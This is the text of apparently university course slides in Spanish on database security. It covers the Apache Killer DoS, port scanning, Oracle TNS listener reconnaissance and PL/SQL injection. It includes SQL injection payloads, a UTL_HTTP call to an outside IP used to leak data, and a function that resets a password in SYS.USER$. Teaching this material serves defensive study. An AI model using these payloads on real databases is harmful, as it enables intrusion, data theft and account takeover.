SEGURIDAD en BASES DE DATOS. - Modificar informacion del

Anuncio
SEGURIDAD en BASES DE DATOS.
Diplomado en Tecnologías de la Información.
Dr. Ivo H. Pineda Torres
Facultad de Ciencias de la Computación
Benemérita Universidad Autónoma de
Puebla
e
Instituto Tecnológico de Izúcar de
Matamoros.
Junio 2012
ORACLE: ARQUITECTURA DE RED
2 of 30
MEXICANOS AL GRITO DE GUERRA
ATACANDO AL ORACLE!!!!
3 of 30
Caso apache
4 of 30
Caso apache
Sin necesidad de tener un usuario y su password, los atacantes pueden
enviar bloques grandes de información en los encabezados hacia el
servidor HTTP de apache. Cuando el servidor víctima trata de
procesar los datos los recursos del CPU y memoria son agotados,
resultando en un DoS.
’Apache Killer’ Perl script.
LOIC
4 of 30
Como identificar DB
El escaneo de puertos se emplea para designar la acción de analizar
por medio de un programa el estado de los puertos de una máquina
conectada a una red de comunicaciones. Detecta si un puerto está
abierto, cerrado, o protegido por un cortafuegos.Existen varios
programas escaneadores de puertos por la red. Uno de los más
conocidos es nmap, disponible tanto para Linux como Windows.
5 of 30
Rastreo de puertos TCP SYN
En Wikipedia encontramos que:
Para establecer una conexión normal TCP, es necesario seguir una negoci
• Inician un paquete SYN en la máquina de origen,
• Máquina de destino responde con un paquete SYN/ACK,
• Responde la máquina que inicia la conexión por un paquete ACK.
• Listo Una vez que se han cumplido estos pasos, se tiene la
conexión TCP.
Recuerdas que es el handshake???
6 of 30
Rastrear puertos TCP SYN
Un rastreador de puertos envía muchos paquetes SYN a la máquina
que se está probando, y mira de qué forma regresan los paquetes para
ver el estado de los puertos en el destino, interpretándolos de la
siguiente forma:
1. Si al enviar un paquete SYN a un puerto específico, el destino
devuelve un SYN/ACK, el puerto está abierto y escuchando
conexiones.
2. En otro caso, si regresa un paquete RST (reset flag), el puerto está
cerrado.
3. Por último, si no regresa el paquete, o si se recibe un paquete
ICMP como Port Unreachable, el puerto está filtrado por algún
tipo de cortafuegos.
Haciendo este procedimiento para una lista de puertos conocidos, se
logra obtener un informe de estado de los puertos de la máquina
7 of 30
probada.
Rastrear puertos UDP. Tipos de Comunicación
• Protocolo UDP no está orientado a la conexión, es posible realizar
un escaneo.
• No tiene un paquete SYN como el protocolo TCP,
• Sin embargo si un paquete se envía a un puerto que no está
abierto, responde con un mensaje ICMP Port Unreachable.
• La mayoría de los escáners de puertos UDP usan este método, e
infieren que si no hay respuesta, el puerto está abierto.
• Pero en el caso que esté filtrado por un firewall, este método dará
una información errónea.
• Una opción es enviar paquetes UDP de una aplicación específica,
para generar una respuesta de la capa de aplicación.
• Por ejemplo enviar una consulta DNS.
8 of 30
Rastrear servidores y puertos de Oracle
Para realizar esto se debe conocer almenos la dirección IP de la
víctima. Relación de puertos de Oracle y los procesos asociados:
199 agntsvc
1831 emagent
4696 ocssd
1520-1530 tns
1850 java ORMI
6003 opmn
1748 dbsnmp
2030 omtsreco
6004 opmn
1754 dbsnmp
2100 tnslsnr
6200 opmn
1809 dbsnmp
2481 tnslsnr
6201 opmn
1808 dbsnmp
2482 tnslsnr
7777 Apch-OAS
1810 mngrwebsrvc
3025 ocssd
8080 tnslsnr
1830 emagent
3026 ocssd
9090 tnslsnr
9 of 30
Avisos como este
Banco Azteca lo pusieron de rodillas con un ataque de DoS en el
puerto 443 UDP
10 of 30
Rastrear servidores y puertos de Oracle
Una vez que el servidor de Oracle ha sido descubierto, el primer
puerto a identificar es el del TNS Listner (tnslsnr).
¿que se busca en este puerto?
• Tipo de sistema operativo
• Servicios que ofrece la base de datos.
Esto se logra en los siguientes pasos:
1. LSNRCTL> set current_listener 10.1.1.1
2. LSNRCTL> version
3. LSNRCTL> services
4. LSNRCTL> status
11 of 30
analizando lo que entrega el LSNRCTL
LSNRCTL> status
Connecting to (DESCRIPTION=(CONNECT_DATA=(SID=*)(SERVICE_NAME=10.1.1.1))
(ADDRESS=(PROTOCOL=TCP)(HOST=10.1.1.1)(PORT=1521)))
STATUS of the LISTENER
Alias
LISTENER
Version TNSLSNR for 32-bit Windows: Version 9.2.0.1.0 - Production
Start Date11-OCT-2004 00:47:20
Uptime 0 days 0 hr. 22 min. 31 sec
Security ON
SNMP
OFF
12 of 30
analizando lo que entrega el LSNRCTL. cont
Listener Log File C:/oracle/ora92/network/log/listener.log
DESCRIPTION=ADDRESS=PRTCOL=tcp(HOST=GLADIUS)(PORT=1521)
DESCRIPTION=ADDRESS=PRTCOL=tcp(HOST=GLADIUS)(PORT=8080)
(Presentation=HTTP)(Session=RAW))
DESCRIPTION=ADDRESS=PRTCOL=tcp(HOST=GLADIUS)(PORT=2100)
(Presentation=FTP)(Session=RAW))
13 of 30
analizando lo que entrega el LSNRCTL. cont
Services Summary
Service “ORAXP”has 1 instance(s).
Instance “ORAXP”, status UNKNOWN, has 1 handler(s) for this
service...
Service “PLSExtProc ”has 1 instance(s).
Instance “PLSExtProc ”, status UNKNOWN, has 1 handler(s) for this
service...
Service “oraxp.ngssoftware.com ”has 1 instance(s).
Instance “oraxp ”, status READY, has 1 handler(s) for this service...
Service “oraxpXDB.ngssoftware.com ”has 1 instance(s).
Instance “oraxp ”, status READY, has 1 handler(s) for this service...
The command completed successfully
14 of 30
resumen LSNRCTL
Nos permite conocer:
1. Versión
2. sistema Operativo
3. Seguridad activada con password.
4. Ruta de los log files.
5. puntos de escucha.
6. Identificador de la BD (SID) para este caso ORAXP
7. envio de paquetes arbitrarios al TNS.(atacando-TNS.c)
15 of 30
PL/SQL. SQL*
Procedural Language/SQL, basado en ADA y es parte integral de
Oracle.
Paradigma
Un paradigma de programación es una propuesta tecnológica que es
adoptada por una comunidad de programadores cuyo núcleo central
es incuestionable en cuanto a que unívocamente trata de resolver uno
o varios problemas claramente delimitados.
16 of 30
Paradigmas
Tipos de paradigmas de programación más comunes:
Imperativo o por procedimientos: Es considerado el más común y
está representado, por ejemplo, por C, BASIC o Pascal.
Funcional: Está representado por Scheme o Haskell. Este es un
caso del paradigma declarativo.
Lógico: Está representado por Prolog. Este es otro caso del
paradigma declarativo.
Declarativo: Por ejemplo la programación funcional, la programación
lógica, o la combinación lógico-funcional.
Orientado a objetos: Está representado por Smalltalk, un lenguaje
completamente orientado a objetos.
17 of 30
Paradigmas
Tipos de paradigmas de programación más comunes:
Imperativo o por procedimientos: Es considerado el más común y
está representado, por ejemplo, por C, BASIC o Pascal.
Funcional: Está representado por Scheme o Haskell. Este es un
caso del paradigma declarativo.
Lógico: Está representado por Prolog. Este es otro caso del
paradigma declarativo.
Declarativo: Por ejemplo la programación funcional, la programación
lógica, o la combinación lógico-funcional.
Orientado a objetos: Está representado por Smalltalk, un lenguaje
completamente orientado a objetos.
Al momento de programar, en la práctica es habitual que se mezclen,
dando lugar a la programación multiparadigma.Más usado es el de la
programación orientada a objetos.
17 of 30
PL/SQL. SQL*
Ejemplos de uso de PL/SQL:
• 1.CREATE OR REPLACE PROCEDURE HELLO_WORLD AS
BEGIN
DBMS_OUTPUT. PUT_LINE ( ’ H e l l o , ␣ World ! ’ ) ;
END ;
• 2.- EXEC HELLO_WORLD
• 3.-
CREATE OR REPLACE FUNCTION
GET_DATE RETURN VARCHAR2
IS
BEGIN
RETURN SYSDATE ;
18 of 30END ;
Inyección PL/SQL. SQL*
Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es
una técnica de ataque que utiliza la inyección SQL. Se evidencia
cuando en una página web, por una falla de seguridad, no se
muestran mensajes de error al no producirse resultados correctos ante
una consulta a la base de datos, mostrándose siempre el mismo
contenido (es decir, solo hay respuesta si el resultado es correcto).
Categorias de inyección:
• Manipulación de SQL
• Inyección de código
• Inyección por medio de llamada a procedimiento o función.
• Buffer Overflow
19 of 30
Manipulación de SQL
SELECT ∗ FROM u s e r s
WHERE username = ’ bob ’ and PASSWORD = ’ mypassword ’
El atacante intenta manipular el código SQL para ejecutar:
SELECT ∗ FROM u s e r s
WHERE username= ’ bob ’ and PASSWORD= ’ mypassword ’
or ’ a ’ = ’ a ’
El operador WHERE tiene precedencia sobre el resto por lo que basta
que una parte sea verdad para que se valide la entrada.
20 of 30
Manipulación de SQL. cont
cuando se utiliza el operador UNION, lo que se busca es manipular
una tabla para obtener filas de otra tabla.
SELECT product_name FROM a l l _ p r o d u c t s
WHERE product_name l i k e ’ %C h a i r s %’
El atacante intenta manipular SQL de esta manera, observe que se
obtiene información además de los usuarios de la DB.
SELECT product_name FROM a l l _ p r o d u c t s
WHERE product_name l i k e ’ %C h a i r s %’
UNION
SELECT username FROM d b a _ u s e r s
WHERE username l i k e ’ %’
21 of 30
Inyección de Código
Se intenta añadir código adicional de SQL o incluso comandos. (raro
en Oracle)
SELECT ∗ FROM u s e r s
WHERE username = ’ bob ’ and PASSWORD = ’ mypassword ’
DELETE FROM u s e r s
WHERE username = ’ admin ’ ;
1−BEGIN ENCRYPT PASSWORD( ’ bob ’ , ’ mypassword ’ ) ; END ;
2−BEGIN ENCRYPT PASSWORD( ’ bob ’ , ’ mypassword ’ ) ;
DELETE FROM u s e r s
WHERE u p p e r ( username ) = u p p e r ( ’ admin ’ ) ; END ;
1 es la forma como se esconde el password y en 2 como se intenta
modificar.
22 of 30
Inyección por llamada función
Más de 1000 funciones en Oracle!!
Código que se intenta modificar:
SELECT TRANSLATE( ’ u s e r ␣ i n p u t ’ ,
’ 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ’ ,
’ 0123456789 ’ )
FROM d u a l ;
con
SELECT TRANSLATE( ’ ’ | | UTL_HTTP . REQUEST( ’ h t t p : / / 1 9 2 . 1 6
’ 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ ’ ,
’ 0123456789 ’ )
FROM d u a l ;
23 of 30
Inyección por llamada función
El atacante podrá manipular la cadena y el URL para incluir otras
funciones y recuperar información útil de la base de datos.
Al igual que las funciones en los lenguajes de programación, las
funciones definidas por el usuario son rutinas que aceptan parámetros,
realizan una acción, como un cálculo complejo, y devuelven el
resultado de esa acción como un valor. El valor devuelto puede ser un
valor escalar único o un conjunto de resultados.
24 of 30
funciones definidas por usuario UDF
Las ventajas de utilizar las funciones definidas por el usuario son:
• Permiten una programación modular.
25 of 30
funciones definidas por usuario UDF
Las ventajas de utilizar las funciones definidas por el usuario son:
• Permiten una programación modular.
• Puede crear la función una vez, almacenarla en la base de datos y
llamarla desde el programa tantas veces como desee. Las funciones
definidas por el usuario se pueden modificar, independientemente
del código de origen del programa.
25 of 30
funciones definidas por usuario UDF
Las ventajas de utilizar las funciones definidas por el usuario son:
• Permiten una programación modular.
• Puede crear la función una vez, almacenarla en la base de datos y
llamarla desde el programa tantas veces como desee. Las funciones
definidas por el usuario se pueden modificar, independientemente
del código de origen del programa.
• Permiten una ejecución más rápida.
25 of 30
funciones definidas por usuario UDF
Las ventajas de utilizar las funciones definidas por el usuario son:
• Permiten una programación modular.
• Puede crear la función una vez, almacenarla en la base de datos y
llamarla desde el programa tantas veces como desee. Las funciones
definidas por el usuario se pueden modificar, independientemente
del código de origen del programa.
• Permiten una ejecución más rápida.
• Reducen el costo de compilación del código Transact-SQL
25 of 30
funciones definidas por usuario UDF
Las ventajas de utilizar las funciones definidas por el usuario son:
• Permiten una programación modular.
• Puede crear la función una vez, almacenarla en la base de datos y
llamarla desde el programa tantas veces como desee. Las funciones
definidas por el usuario se pueden modificar, independientemente
del código de origen del programa.
• Permiten una ejecución más rápida.
• Reducen el costo de compilación del código Transact-SQL
• Permite obtener tiempos de ejecución mucho más rápidos.
25 of 30
funciones definidas por usuario UDF
Las ventajas de utilizar las funciones definidas por el usuario son:
• Permiten una programación modular.
• Puede crear la función una vez, almacenarla en la base de datos y
llamarla desde el programa tantas veces como desee. Las funciones
definidas por el usuario se pueden modificar, independientemente
del código de origen del programa.
• Permiten una ejecución más rápida.
• Reducen el costo de compilación del código Transact-SQL
• Permite obtener tiempos de ejecución mucho más rápidos.
• Pueden reducir el tráfico de red.
25 of 30
funciones definidas por usuario UDF
Las ventajas de utilizar las funciones definidas por el usuario son:
• Permiten una programación modular.
• Puede crear la función una vez, almacenarla en la base de datos y
llamarla desde el programa tantas veces como desee. Las funciones
definidas por el usuario se pueden modificar, independientemente
del código de origen del programa.
• Permiten una ejecución más rápida.
• Reducen el costo de compilación del código Transact-SQL
• Permite obtener tiempos de ejecución mucho más rápidos.
• Pueden reducir el tráfico de red.
• La función se puede invocar en la cláusula WHERE para reducir el
número de filas que se envían al cliente.
25 of 30
Algo de PL/SQL que puede ser ejecutado por
PUBLIC
CREATE OR REPLACE PROCEDURE LIST_LIBRARIES (P_OWNER
VARCHAR2) AS TYPE C_TYPE I S REF CURSOR ; CV C_TYPE ;
BUFFER VARCHAR2 ( 2 0 0 ) ;
BEGIN
DBMS_OUTPUT. ENABLE ( 1 0 0 0 0 0 0 ) ;
OPEN CV FOR ’ SELECT␣OBJECT_NAME␣FROM
␣ ␣ ␣ALL_OBJECTS␣WHERE␣OWNER␣=␣ ’ ’ ’ | | P_OWNER | | ’ ’ ’ ␣AND␣O
LOOP
FETCH CV INTO b u f f e r ;
DBMS_OUTPUT. PUT_LINE (BUFFER ) ;
EXIT WHEN CV % NOTFOUND;
END LOOP ; CLOSE CV ; END ;
26 of 30
Inyección PL/SQL. SQL*
El procedimiento anterior (llamada función o procedimiento) lista
todas las librerias que un usuario tiene asignado, el cual se suministra
por la persona que ejecuta el código. La lista de librerias es enviada a
DBMS_OUTPUT.PUT_LINE. El procedimiento se ejecuta de la
siguiente manera:
SET SERVEROUTPUT ON
EXEC SYS . LIST_LIBRARIES ( ’ SYS ’ ) ;
ver línea de SELECT. Por el solo hecho de usar comilla simple se
puede realizar la inyección y colocar un código de consulta o selección
a la base de datos. Se asume que el atacante logró acceder a la BD
previamente.
27 of 30
Inyección en DELETE, INSERT Y UPDATE
Inyectar en instrucciones del tipo DELETE, INSERT y UPDATE
brinda al atacante más alternativas y flexiblidad que la que brinda
SELECT, pues puede manipular tablas que incluso pueden no estar
permitidas a su nivel.
28 of 30
Resetear el password en la tabla SYS.USER$
CREATE OR REPLACE PROCEDURE NEW_EMP(P_NAME VARCHAR2)
AS STMT VARCHAR2 ( 2 0 0 ) ;
BEGIN
STMT:= ’ INSERT␣INTO␣EMPLOYEES␣ (EMP_NAME) ␣VALUES␣ ( ’ ’
EXECUTE IMMEDIATE STMT;
END ;
Y haciendo uso de esta fucnión podemos insertar un nuevo empleado:
EXEC NEW_EMP( ’FOO ’ ’ | | SCOTT . GET_IT)−− ’ ) ;
29 of 30
Resetear el password en la tabla SYS.USER$
CREATE OR REPLACE FUNCTION RSTPWD RETURN VARCHAR2
AUTHID CURRENT_USER I S MYSTMT VARCHAR2 ( 2 0 0 ) ;
BEGIN
MYSTMT:= ’UPDATE␣SYS . USER$␣SET
␣ ␣ ␣ ␣ ␣ ␣ ␣␣␣␣␣␣␣PASSWORD␣=␣ ’ ’ FE0E8CE7C92504E9 ’ ’
␣ ␣ ␣ ␣ ␣ ␣ ␣␣␣␣␣␣␣WHERE␣NAME= ’ ’ANONYMOUS ’ ’ ’ ;
EXECUTE IMMEDIATE MYSTMT;
RETURN ’FOO ’ ;
END ;
30 of 30
Descargar